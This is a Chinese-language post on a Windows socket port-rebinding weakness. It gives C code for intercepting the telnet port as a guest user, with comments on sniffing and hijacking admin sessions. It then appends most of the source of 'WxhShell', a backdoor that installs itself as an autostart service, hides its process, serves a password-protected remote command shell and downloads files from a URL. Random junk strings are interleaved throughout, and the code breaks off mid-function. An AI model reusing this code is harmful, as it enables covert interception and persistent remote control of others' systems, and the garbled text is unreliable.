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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j F"YTr6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2/P"7A=< t
!`Jse> saddr.sin_family = AF_INET; y7\"[<E`(V Fqq6^um saddr.sin_addr.s_addr = htonl(INADDR_ANY); n^(A=G km5~Gc} bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qNgd33u1 %y[1H5)3< 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 A?!I/|E^; 7Ey#u4Q 这意味着什么?意味着可以进行如下的攻击: "@3@/I 8ovM\9qT 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XE3aXK'R .\3`2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'm=*u
SJK 8OhDjWVJ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7k%T<;V yq[Cq=rBk 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 n| O [a6G yqOuX>m 1c 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e&q?}Ho l]!9$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '(+<UpG_Q} 8y'; \(; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v`[Eb27W. N^0uit #include i8X`HbmN #include ;Q0bT`/X #include =1;= #include @ez Tbc3 DWORD WINAPI ClientThread(LPVOID lpParam); K ?$#ntp int main() !<@J6??a}s { ^nK7i[yF.k WORD wVersionRequested; gYop--\14] DWORD ret; F51.N{' WSADATA wsaData; t%1 ^Li BOOL val; O;Y:uHf SOCKADDR_IN saddr; t=euE{c SOCKADDR_IN scaddr; Kr`]_m int err; +V862R4,o SOCKET s; D<{{ :7n SOCKET sc; !G5a*8] int caddsize; &F$:Q:* * HANDLE mt; d5I f"8`@ DWORD tid; ]<uQ.~ wVersionRequested = MAKEWORD( 2, 2 ); R5_i15< err = WSAStartup( wVersionRequested, &wsaData ); 8[%Ao/m if ( err != 0 ) { %bXtKhg5eJ printf("error!WSAStartup failed!\n"); Mn: /1eY return -1; 7cg*|E@ } -ZOBAG* saddr.sin_family = AF_INET; d^ ZMS~\* ^}yg%+ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g|<Sfp+;+ S*)1|~pRvQ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); E N^Uki` saddr.sin_port = htons(23); RuW!*LI if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |dE
-^"_ { 'Yy&G\S printf("error!socket failed!\n"); !|?e7u7 return -1; )
iQ
} _>o-UBb4]T val = TRUE; gieJ}Bv //SO_REUSEADDR选项就是可以实现端口重绑定的 ]1-z!B 4K if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M&Y .; { tCF&OOI4` printf("error!setsockopt failed!\n"); 0"k|H& return -1; [p r"ZQ] } [t]X/O3< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f2)XP$: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 he3SR@\T //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `ejUs]SR y?
(2U6c if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XkKC! { QvPD8B ret=GetLastError(); ?|;yVew printf("error!bind failed!\n"); 5-u=o)> return -1; u<ySd? } 3+7^uR$/I4 listen(s,2); w]j+9-._ while(1) 1{"llD { ?z-}>$I; caddsize = sizeof(scaddr); ?`?T7w|3
y //接受连接请求 JMBK{J K> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cX!Pz.C if(sc!=INVALID_SOCKET) or ;f&![w { Y OyX[&oi mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rPzQ8< if(mt==NULL) SJ'
%
^ { 7[v%GoE printf("Thread Creat Failed!\n"); gW(gJ;
L,% break; {2'm^0Kl } #:fQ.WWO } n7LfQWc CloseHandle(mt); Ft{[ae?4 } Si}HX!s closesocket(s); t-%Q`V=[ WSACleanup(); [V#r7a return 0; &(rWw Oo6 } ri~<~oB2: DWORD WINAPI ClientThread(LPVOID lpParam) Y o0FUj { .~lKBkS`! SOCKET ss = (SOCKET)lpParam; n_K~vD SOCKET sc; T>>YNaUL unsigned char buf[4096]; \J^ SOCKADDR_IN saddr; 2+8#H. long num; y9Y1PH7G DWORD val; tY W>t9 DWORD ret; d~tuk4F //如果是隐藏端口应用的话,可以在此处加一些判断 FXKF\1`(H //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 "HMP$)d saddr.sin_family = AF_INET; nCg66-3A saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); EEy$w1ec saddr.sin_port = htons(23); lEL78l. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 01a-{&
{ 3Q}$fQ&S printf("error!socket failed!\n"); !,$i6gm return -1; ^u)z{.z'H/ } qf'm=efRyu val = 100; 5@osnf? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {WN(&eax { -!qu"A: ret = GetLastError(); w6|9|f/ return -1; XP[uF ;w } K5Wg"^AHY/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1tzV8(7 { u }hF8eD ret = GetLastError(); ,M !tm7 return -1; _=6 rE } +WJ(QZEhD if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w [>;a.$ { _S0+;9fhY printf("error!socket connect failed!\n"); ajhEL?%D closesocket(sc); USJ-e closesocket(ss); DbX{#4lx return -1; lkIn%=Z } z5\;OLJS, while(1) `XTh1Z\ { Ths_CKwgWY //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 / RZR} //如果是嗅探内容的话,可以再此处进行内容分析和记录 %9C@ Xl //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B=L&bx num = recv(ss,buf,4096,0); E&$_`m; if(num>0) v'2[[u{7* send(sc,buf,num,0); vZ7gS else if(num==0) FaTa(3$% break; tU wRE|_ num = recv(sc,buf,4096,0); G>qZxy`c if(num>0) pC,o2~%{ send(ss,buf,num,0); 3{%LS"c else if(num==0) 59uwB('|lH break; RNVbcd } `D7C?M#j] closesocket(ss); "e3["' closesocket(sc); "tit\a6\( return 0 ; `i~ Y Fr } x LBQ UUo;`rkT Cm$1$?J ========================================================== f67NWFX }0hL~i 下边附上一个代码,,WXhSHELL R$kpiqK =tTqN+4 ========================================================== ^(}585b @*N)i?> #include "stdafx.h" w
JwX[\ $Kj&)&M #include <stdio.h> wle@vCmr #include <string.h> fBtm%f #include <windows.h> W|k0R4K]] #include <winsock2.h> ~%u|[$ #include <winsvc.h> ChryJRuwv5 #include <urlmon.h> hlZ@Dq%f SZ![%)83 #pragma comment (lib, "Ws2_32.lib") S/vf'gj #pragma comment (lib, "urlmon.lib") v<\A% " }gVAAvc7 #define MAX_USER 100 // 最大客户端连接数 :yT-9Ze%q #define BUF_SOCK 200 // sock buffer $5`!Z%>/ #define KEY_BUFF 255 // 输入 buffer D-imL;| m%+IPZ2m #define REBOOT 0 // 重启 %m5Q"4O #define SHUTDOWN 1 // 关机 ~\nBjM2 h5z)Lc^ #define DEF_PORT 5000 // 监听端口 U7mozHS,:9 PHg48Y"Nd #define REG_LEN 16 // 注册表键长度 ,''cNV #define SVC_LEN 80 // NT服务名长度 jg
2qGC ^ OJyN,A // 从dll定义API ER2GjZa\z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V5"CSMe typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s}&bJ"!Z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RIM`omM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "yziXT@V F-(dRSDNM // wxhshell配置信息 HJ?+A-n/ struct WSCFG { WzW-pV] int ws_port; // 监听端口 ?8dVH2W. char ws_passstr[REG_LEN]; // 口令 y<R= int ws_autoins; // 安装标记, 1=yes 0=no PeX1wK%f char ws_regname[REG_LEN]; // 注册表键名 +eQe%U char ws_svcname[REG_LEN]; // 服务名 $m1<i?'m char ws_svcdisp[SVC_LEN]; // 服务显示名 YIt9M,5/Q char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y /TlE? char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gsar[gZ int ws_downexe; // 下载执行标记, 1=yes 0=no sH,kW|D char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" gMWBu~;! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AEmNHO@%q >M%\T}5 }; j83? m {eJt,[Y * // default Wxhshell configuration a~h:qpgc struct WSCFG wscfg={DEF_PORT, bo"%0?3n "xuhuanlingzhe", V{-AP=C7 1, n;HHogA "Wxhshell", r,SnXjp@ "Wxhshell", 8GPIZh'0h "WxhShell Service", c;f!!3& "Wrsky Windows CmdShell Service", TG48%L "Please Input Your Password: ", m4K* < 1, "\"DCDKmG " http://www.wrsky.com/wxhshell.exe", n>,L=wV "Wxhshell.exe" ;:S&F }; e[u?_h 6q<YJ., // 消息定义模块 yAT^VRbv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {s?M*_{| char *msg_ws_prompt="\n\r? for help\n\r#>"; 14eW4~Mr char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; os3 8u!3- char *msg_ws_ext="\n\rExit."; CD j~;$[B char *msg_ws_end="\n\rQuit."; )'4P.>!!aQ char *msg_ws_boot="\n\rReboot..."; rsn.4P= char *msg_ws_poff="\n\rShutdown..."; 09KcKhFB char *msg_ws_down="\n\rSave to "; %U7.7dSOI; S|V4[ssB char *msg_ws_err="\n\rErr!"; [./6At&| char *msg_ws_ok="\n\rOK!"; }/dRU${! &hHW3Q(1 char ExeFile[MAX_PATH]; t22;87&| int nUser = 0; D(W,yq~7uY HANDLE handles[MAX_USER]; `Ycf]2.,$ int OsIsNt; +1JH p1pQU={< SERVICE_STATUS serviceStatus; u*S=[dq SERVICE_STATUS_HANDLE hServiceStatusHandle; NE8 jC7 [,EpN{l // 函数声明 '[|+aJ int Install(void); zr v] int Uninstall(void); )"(] Lf's int DownloadFile(char *sURL, SOCKET wsh); ql{(Lf$ int Boot(int flag); N(6|yZ<J3M void HideProc(void); mM.*b@d- int GetOsVer(void); !2\ r LN int Wxhshell(SOCKET wsl); gyHHoZc3 void TalkWithClient(void *cs); :nHKl
int CmdShell(SOCKET sock); <Tw>|cFT int StartFromService(void); })xp%<` int StartWxhshell(LPSTR lpCmdLine); IH48|sa ~\p]~qQ\K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MiT}L VOID WINAPI NTServiceHandler( DWORD fdwControl ); v dbO( .9*wY0: // 数据结构和表定义 -hcS]~F SERVICE_TABLE_ENTRY DispatchTable[] = ] G.%Ty { p?[Tm*r {wscfg.ws_svcname, NTServiceMain}, (GnuWc\p {NULL, NULL} [97:4. }; +[@z(N-h ;a=w5,h: // 自我安装 ?PA$Ur21lw int Install(void) A,CW_ { f|A
riM char svExeFile[MAX_PATH]; ,)+o HKEY key; Jk|Q`h strcpy(svExeFile,ExeFile); )C(>H93 NqHy%'R // 如果是win9x系统,修改注册表设为自启动 {_N,=DQ! if(!OsIsNt) { %V&n*3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T#%/s?_>. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ( m\$hX RegCloseKey(key); v$~QCtc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L$'[5"ma
; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #&<)! YY5 RegCloseKey(key); \]Kh[z0" return 0; [P zv4+ } }<@j'Ok}. } 2n><RZ/9 } =@Dwlze else { -50HB`t *D4hq= // 如果是NT以上系统,安装为系统服务 |yyO q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %+ 7p lM if (schSCManager!=0) ~ *:F{ { 6K
cD&S/ SC_HANDLE schService = CreateService k$5 s{q ( f:*vr['d schSCManager, ,y4I[[ wscfg.ws_svcname, #Lsnr.80 wscfg.ws_svcdisp, O1%pxX'`S SERVICE_ALL_ACCESS, sb:d>6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y3kA?p0 SERVICE_AUTO_START, r`&-9"+ SERVICE_ERROR_NORMAL, ?1L.:CS svExeFile, 7*j
(* NULL, eD$M<Eu NULL, L!/\8-&$P NULL, 4${jr\q] NULL, V^y^
;0I}[ NULL ')a(.f ); T@}|zDC# if (schService!=0) 4%WzIzRb { _(J&aY\ CloseServiceHandle(schService); ZZQG?("S' CloseServiceHandle(schSCManager); YDC mI@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KKA~#iCk strcat(svExeFile,wscfg.ws_svcname); |r
ue=QZ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zX5!vaEv RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ['z[ RegCloseKey(key); 7\_o.(g#- return 0; a{!QOX%K } 8u[-'pV! } jF`BjxrG CloseServiceHandle(schSCManager); h%WE=\,Qp } umz;F } xw{-9k-~ "~UUx"Y return 1; -(#I3h;I } js1!9%BV y"]n:M:( // 自我卸载 %B.D^]S1: int Uninstall(void) nEzf.[+9/ { 80A.<=(=. HKEY key; [ dtbkQt,c HM>lg`S if(!OsIsNt) { u66XN^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N@B9
@8h RegDeleteValue(key,wscfg.ws_regname); r"$.4@gc RegCloseKey(key); |AZg*T3:W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yA{W RegDeleteValue(key,wscfg.ws_regname); /iG*)6*^k RegCloseKey(key); Pxn,Qw* return 0; 1[_mEtM:]B } }@if6(0 } Qf@I)4' } &d7Z6P'`G else { A^Kbsc ]weoTn: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NvM*h%ChM if (schSCManager!=0) S"9zc
,] { l
& Dxg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t|t#vcB if (schService!=0) kd"N29 { /0\
mx4u if(DeleteService(schService)!=0) { @FdSFQ/9 CloseServiceHandle(schService); #plY\0E@ CloseServiceHandle(schSCManager); ~>9_(L return 0; q2HYiH^L } Q)"A-"y CloseServiceHandle(schService); &.TTJsKG h } U%0Ty|$Y CloseServiceHandle(schSCManager); gGfoO[B } UH7jP#W%= } Z{?G.L*/ s3Cc;# return 1; Jk,;JQ } = k\J< :qC'$dO! // 从指定url下载文件 r1RG TEkD int DownloadFile(char *sURL, SOCKET wsh) +{sqcr1G { s/089jlc HRESULT hr; )O:0]=#)) char seps[]= "/"; 26CS6(sn char *token; |>@W
]CX[ char *file; @{Gncy| char myURL[MAX_PATH]; E7-@&=]v char myFILE[MAX_PATH];
Ov<NsNX] A!^q
J# strcpy(myURL,sURL); &^4++ token=strtok(myURL,seps); z3?o|A }/W while(token!=NULL) @k&qb!Qah { GfC5z n> file=token; =B.F;40 token=strtok(NULL,seps); j65<8svl } I%urz!CNE* U*.0XNKp{ GetCurrentDirectory(MAX_PATH,myFILE); ||yzt!n strcat(myFILE, "\\"); J90v!p- strcat(myFILE, file); YJ$1N!rG send(wsh,myFILE,strlen(myFILE),0); m,fAeln
send(wsh,"...",3,0); -*.-9B~u hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ! VjFW5'{ if(hr==S_OK) Sp@-p9# return 0; V59(Z else eYx Kp!f return 1; tBpC: SG -_$$Te } =-p$jXVW% (h:Rh // 系统电源模块 37}D9:#5C int Boot(int flag) rj!0GI { #c2ymQm HANDLE hToken; EYA,hc TOKEN_PRIVILEGES tkp; .bio7c6 1^gl}^|B if(OsIsNt) { 7`u$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hpU2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2;w*oop,O tkp.PrivilegeCount = 1; @IXsy tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /Z7iLq~t"G AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CirZ+o if(flag==REBOOT) { 6Cp]NbNrq if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m8.U &0 return 0; 23gPbtq/ } AlJ} >u else { r(9~$_(vK if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u]OW8rc return 0; kZ"BBJ6w } =FD;~ } B5$kHM%p else { :,)lm.}]t if(flag==REBOOT) { <F04GO\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kwsp9 0) return 0; 4bgqg0z> } /&4U6a else { X]y)qV)a[c if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'F3)9&M return 0; qgrg CJ } 6^DR0sO } m4*@o?Ow q:g2Zc'Y~W return 1; f7}*X|_Y } A`R{m0A jmeRrnC} // win9x进程隐藏模块 &iV{:)L void HideProc(void) dUsxvho { h yv2SxP* 2PG [7u^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Sf8{h|71 if ( hKernel != NULL ) `jOX6_z?I { 71l%MH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TiH)5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `/_G$_ FreeLibrary(hKernel); 4ni3kmvX } A%^ILyU6c eY e, r return; 1UQHq@aM } ,UuH}E CJhL)0Cs // 获取操作系统版本 3)RsLI9 int GetOsVer(void) $cZUM}@ { +sJrllrE( OSVERSIONINFO winfo; zen*PeIrA^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +U@<\kIF GetVersionEx(&winfo); ZzX~&95G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D|.ic!w' return 1; twx[s$O'b else e#k<d-sf6 return 0; dh $bfAb } 1m .W< 3g6j?yYqb // 客户端句柄模块 Ox@P6|m int Wxhshell(SOCKET wsl) 7sXxq4 { >
%KuNy{ SOCKET wsh; n..g~$k struct sockaddr_in client; ^urDoB: DWORD myID; Q1z;/A$Al `HBf&Z while(nUser<MAX_USER) OD_W8!- { d \35a4l int nSize=sizeof(client); GDuMY\1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dc rSz4E|> if(wsh==INVALID_SOCKET) return 1; )Qvk*9OS CJ++?hB]X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 28=O03q if(handles[nUser]==0) w[ ~#av9 closesocket(wsh); 6VhjJJ else y
TDNNK nUser++; k]I0o)+O. } RH|XxH* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [2Ud]l:6E ;{[.Zu return 0; -(b kr+N } <Z/x,-^*< 1u9LdkhnY // 关闭 socket p"U,G
-_ void CloseIt(SOCKET wsh) .e3+s* { S1?-I_t+] closesocket(wsh); s@7H1)U nUser--; )sT> i ExitThread(0); /7YF mI/0 } YSe.t_K2C =3v]gOcO // 客户端请求句柄 LA)[ip4 void TalkWithClient(void *cs) %?Ev|:i`@ { qQH]`#P @qHNE,K SOCKET wsh=(SOCKET)cs; f@c`8L@g char pwd[SVC_LEN]; ~b2wBs)r char cmd[KEY_BUFF]; wLH] <k char chr[1]; [r[=W! int i,j; zO
MA )[|3ZP` while (nUser < MAX_USER) { s4uhsJL V$ k{Aj^O3gD if(wscfg.ws_passstr) { icgSe:Ci if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $81*^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )d>!"JB- //ZeroMemory(pwd,KEY_BUFF); PKzyV ; i=0; j+
LawW- while(i<SVC_LEN) { ih;]nJ]+- ,1"KHv // 设置超时 _"w2U q fd_set FdRead; "l*`>5Nn9 struct timeval TimeOut; *v3]}g[< FD_ZERO(&FdRead); ` 5C~ FD_SET(wsh,&FdRead); D= h)& TimeOut.tv_sec=8; =%BZ9,l TimeOut.tv_usec=0; \R;`zuv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6efnxxY}sa if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X7g1:L1Ys smDw<slC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u5%7}<nNi pwd =chr[0]; 5EfS^MRf\n if(chr[0]==0xd || chr[0]==0xa) { G@Z?&" pwd=0;
7?%k7f break; xcf%KXJf6 } oGRhnP'PF+ i++; M )2`+/4 } x HhN A,LuD.8 // 如果是非法用户,关闭 socket i?F
>+ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _\GC( } =Fr(9( E 0?iXSJ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ])!o5`ltZ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a0ObBe' Aj4T"^fv while(1) { UTH_^HAN#G Sh8"F@P8 ZeroMemory(cmd,KEY_BUFF); "
_ka<R.. ;hjwD // 自动支持客户端 telnet标准 vt9)pMs j=0; e;[F\ov% while(j<KEY_BUFF) { Pw61_ZZ4B\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ >U-t{W cmd[j]=chr[0]; KSNPkd6 if(chr[0]==0xa || chr[0]==0xd) { "PpN0Rr cmd[j]=0; mA=i)Ga break; Oal3rb } *=*AAF j++; z21|Dhiw& } /Bm( `T #Q`dku%V: // 下载文件 m-*hygkcDu if(strstr(cmd,"http://")) { vCwe'q`1 send(wsh,msg_ws_down,strlen(msg_ws_down),0); H"dJ6 if(DownloadFile(cmd,wsh)) iB& 4>+N+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); z=3\Ab else -#HA"7XOE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hs$GN] } 0PrLuejz else { M%kO7>h8 Oz%>/zw[h switch(cmd[0]) { X'qU*Eo LpqO{#ZG // 帮助
ftF@Wq1f case '?': { /
:n#`o=; send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F
70R1OYU break; ^kB8F"X } $H9%J // 安装 J:zU,IIJ case 'i': { Q{5kxw1ZF if(Install()) 3skC$mpJHw send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,~]tg77 else %s(k_|G+4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 57&b:0`p break; S-|)QGxV6 } ,^ . 88< // 卸载 k+ty>bP= case 'r': { c:o]d )S if(Uninstall()) = < oBgD0k send(wsh,msg_ws_err,strlen(msg_ws_err),0); RpD=]y!5_ else T"DlT/\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >)M`IU[d^. break; CyXRi}W. } |* ;B // 显示 wxhshell 所在路径 |='z{WS case 'p': { z-.+x3&o @ char svExeFile[MAX_PATH]; 6U R2IxbE strcpy(svExeFile,"\n\r"); 9vvx*rD strcat(svExeFile,ExeFile); 5E zw
~hn send(wsh,svExeFile,strlen(svExeFile),0); Pf\D-1gi break; esMX-.8Cx } Dw<bn<e- // 重启 SX#
e:_ case 'b': { O4V.11FnW send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KQg]0y
d if(Boot(REBOOT)) <BMXCk send(wsh,msg_ws_err,strlen(msg_ws_err),0); )6D,d5< else { :i .{ closesocket(wsh); "C{}Z ExitThread(0); .xm.DRk3 } vRHd&0 break; xk5@d6Y{r } 42(Lb'G // 关机 &p4&[H? case 'd': { 7KAO+\)H^Y send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uJC~LC N if(Boot(SHUTDOWN)) 9{5&^RbCp send(wsh,msg_ws_err,strlen(msg_ws_err),0); }n3/vlW9 else { <4g{ fT0 closesocket(wsh);
G(G{RAk> ExitThread(0); ~5CBEIF(NS } ZOeQ+j)|I break; 65#'\+ } 1]@}|
// 获取shell C,ARXW1 case 's': { \1fN0e CmdShell(wsh); hM6PP7XH closesocket(wsh); @W[f1 ExitThread(0); rPLm5ni break; rLI8pA|. } opy("qH // 退出 Y6zbo case 'x': { I J( send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8{^WY7.' CloseIt(wsh); @oV9) break; <FcG
oGK } e}
P I^bc // 离开 XH}\15X case 'q': { |ZRagn30 send(wsh,msg_ws_end,strlen(msg_ws_end),0); lFV N07hG
closesocket(wsh); $ us]35Z3 WSACleanup(); Af'" 6BS exit(1); ]v]qChZHd break; jU9$Ehg
I } ~,oMz<iMV } 3c]b)n~Y } gT0BkwIV [BqHx5Xz( // 提示信息 z8SmkL if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e%@~MQ- } >aj7||K } +#lM ^h~x)@= return; `lO[x.[ } v*SEb~[ LSGBq // shell模块句柄 B&[M7i int CmdShell(SOCKET sock) W;'!gpa { qUob?|
^ STARTUPINFO si; 2\jPv`Ia ZeroMemory(&si,sizeof(si)); LWz&YF#T- si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YkniiB[/ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w35J.zn PROCESS_INFORMATION ProcessInfo; {f2S/$q char cmdline[]="cmd"; xp}hev^@$ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2(u,SQ return 0; G IT>L } Y&d00 <UV1!2nv* // 自身启动模式 E[@ u
3i8 int StartFromService(void) $RIecv<e_ { t\{'F7 typedef struct `_` QxM { `.FF!P:{C* DWORD ExitStatus; M^r1S DWORD PebBaseAddress; T|7}EAR=b DWORD AffinityMask; .<x&IJ / DWORD BasePriority; gv)P]{%^ ULONG UniqueProcessId; lOuHVa*} ULONG InheritedFromUniqueProcessId; \{Z;:,S } PROCESS_BASIC_INFORMATION; >*#1ZB_l 1 u| wMO PROCNTQSIP NtQueryInformationProcess; r? NznNVU =|3ek static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T92UeG static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]B%v+uaW Po__-xN>Q HANDLE hProcess; kb{]>3Y" PROCESS_BASIC_INFORMATION pbi; s:#V(<J sk,ox~0R HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mpI5J'>] if(NULL == hInst ) return 0; F+,~v- }z _ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "$ Y_UJT7 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jkiFLtB@V NtQueryInformationProcess 